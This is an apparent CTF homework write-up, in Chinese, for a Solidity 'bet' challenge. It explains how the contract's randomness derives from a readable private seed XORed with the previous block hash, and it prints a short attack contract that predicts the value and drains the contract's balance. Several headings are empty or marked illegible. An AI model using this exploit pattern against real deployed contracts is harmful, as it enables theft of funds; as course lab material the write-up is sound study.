

2020 程安 Crypto HW3 write-up

tags: 程式安全 CTF write up

HW3 - bet

Source code分析

```

16 contract BetFactory {
17     event GetFlag(uint token);
18     mapping(address => address) public instances;
19
20     function create () public payable {
21         require(msg.value >= 0.5 ether);
22         instances[msg.sender] = address(new Bet(msg.sender, block.timestamp));
23         instances[msg.sender].call{value: 0.5 ether}(""); //轉帳0.5回去
24     }
25
26     function validate (uint token) public {
27         require(address(instances[msg.sender]).balance == 0);
28         emit GetFlag(token);
29     }
30 }
31
32 contract Bet is Challenge {
33     uint private seed;
34
35     constructor (address _player, uint _seed) Challenge(_player) {
36         seed = _seed;
37     }
38
39     function bet (uint guess) public payable onlyPlayer {
40         require(msg.value > 0);
41         if (guess == getRandom()) {
42             msg.sender.call{value: address(this).balance}("");
43             //轉回所有Bet合約中的錢
44         }
45     }
46
47     function getRandom () internal returns(uint) {
48         uint rand = seed ^ uint(blockhash(block.number - 1));
49         seed ^= block.timestamp;
50         return rand;
51     }
52 }

```

- 第26-28行, validate() 需要合約的錢被取光才能觸發 GetFlag() 事件
- 第39-42行, guess 必須要等於 getRandom() 的值,如果對了就會把合約中所有的錢轉給 msg.sender
 - 第46-49: rand 的值為 $\text{seed} \wedge \text{前一個block的hash值}$
 - 每一輪 seed 都會 $\wedge \text{block.timestamp}$
 - 而 seed 雖然是private,但是還是可以透過 `getStorageAt` 讀取storage上的資訊

- ## Solution

- ## Instances

0x3A60aFa681630A722948295970cB17fB02fAd846

0.5

0xA465e250E1b590B05C53ddB87338EE3a2bEb7e44

- [illegible]

- o Contract Addr: 0x9c911df12889bab4029e3851097ecf7df190bd7b

```
1  contract attack {
2      Bet target;
3      uint seed = 0x5fadb906;
4
5      constructor() public{
6          target=Bet(0xA465e250E1b590B05C53ddb87338EE3a2bEb7e44);
7      }
8
9      function pwn() public payable{
10         uint rand = seed ^ uint(blockhash(block.number-1));
11         target.bet{value : msg.value}(rand);
12     }
13 }
14
```